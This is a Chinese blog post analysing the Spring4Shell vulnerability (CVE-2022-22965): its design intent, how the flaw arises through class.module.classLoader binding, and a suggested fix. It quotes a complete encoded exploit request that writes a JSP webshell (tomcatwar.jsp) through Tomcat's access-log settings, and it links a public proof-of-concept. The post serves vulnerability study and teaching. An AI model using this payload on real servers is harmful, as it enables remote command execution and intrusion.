spring4shell CVE-2022-22965 漏洞分析与流程图解

0X01 前言

最近重新回顾漏洞,发现挺多都忘了,且暴露了一个问题,较少站在研发角度去考虑漏洞本身。
比如spring4shell,只记得是classloader。
所以感觉分析时,本身需求、实现方式设计、疏漏点与漏洞成因、自己猜想的修复方式会更重要些;更能体系化起来。

所以回头把spring4shell重看一遍

庆幸的是,因曾做产品与研发,对于需求与用户的关系(用户为什么要这个需求)理解的比较容易,需求的实现方式设计起来也大差不差。

0X02 漏洞描述

spring在进行参数绑定时支持嵌套绑定,使得形如class.module.classLoader这样的参数可以穿越修改AccessLogvlave的属性。
漏洞通过请求传入的参数,利用SpringMVC参数绑定机制,控制了Tomcat AccessLogValve的属性,让Tomcat在webapps/ROOT目录输出定制的“访问日志”tomcatwar.jsp,该“访问日志”实际上为一个JSP webshell。

0X03 漏洞本意分析

漏洞原本需求:
设置参数绑定功能,通过请求的参数改变对象的属性,包括对象中的对象的属性

实现方式:
获取当前的类,根据设置的属性,比如a.b.c.d=e,查找当前类的geta().getb.getc.getd,调用set(e)

设计疏漏点:
需求没问题,实现方式也没问题,但是很容易想到是否可以跳出当前类、去设置其他属性。如果存在某个属性可以设置到当前类之外的其他对象的属性,那么可能造成漏洞。我们要寻找的就是这样一种跳出当前类的方法

0X04 漏洞成因分析

漏洞成因:
参数绑定classloader导致后续属性赋值造成RCE

payload

https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py

/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

漏洞payload分析:
class.module.classLoader.resources.context.parent.pipeline.first.pattern
1 class获取当前类
2 module,获取当前module。
什么是module?
https://blog.csdn.net/vincent_wen0766/article/details/114416461
Java 平台模块系统,也就是 Project Jigsaw,把模块化开发实践引入到了 Java 平台中。在引入了模块系统之后,JDK 被重新组织成 94 个模块。Java 应用可以通过新增的 jlink 工具,创建出只包含所依赖的 JDK 模块的自定义运行时镜像。这样可以极大的减少 Java 运行时环境的大小。这对于目前流行的不可变基础设施的实践来说,镜像的大小的减少可以节省很多存储空间和带宽资源
3 classLoader
classLoader类加载器,模块的类加载器为tomcat的ParallelWebappClassLoader,转而可设置tomcat的属性
4 后面的resources.context.parent.pipeline.first.pattern则是tomcat本身日志相关的的属性

漏洞修复:
按常理,当前属性get的时候,禁止到module即可。
而tomcat也做了修复,把getResource给去掉了,虽然本身不是tomcat问题

0X05 图解

转载标注:https://www.cnblogs.com/huim/p/17188542.html

参考链接

module平台模块系统是什么:https://blog.csdn.net/vincent_wen0766/article/details/114416461
classloader:https://blog.csdn.net/Taobaojishu/article/details/113874686
漏洞分析:https://javamana.com/2022/227/202208150248568326.html
漏洞分析:https://www.anquanke.com/post/id/272149
漏洞分析:https://forum.butian.net/share/1474
漏洞分析:https://zhuanlan.zhihu.com/p/498778896
idea tomcat映射问题:https://blog.csdn.net/god_zzZ/article/details/124029497
spring event事件概念: https://baijiahao.baidu.com/s?id=1617119527751442850&wfr=spider&for=pc

posted @ 2023-03-07 16:29  huim  阅读(27)  评论(0编辑  收藏  举报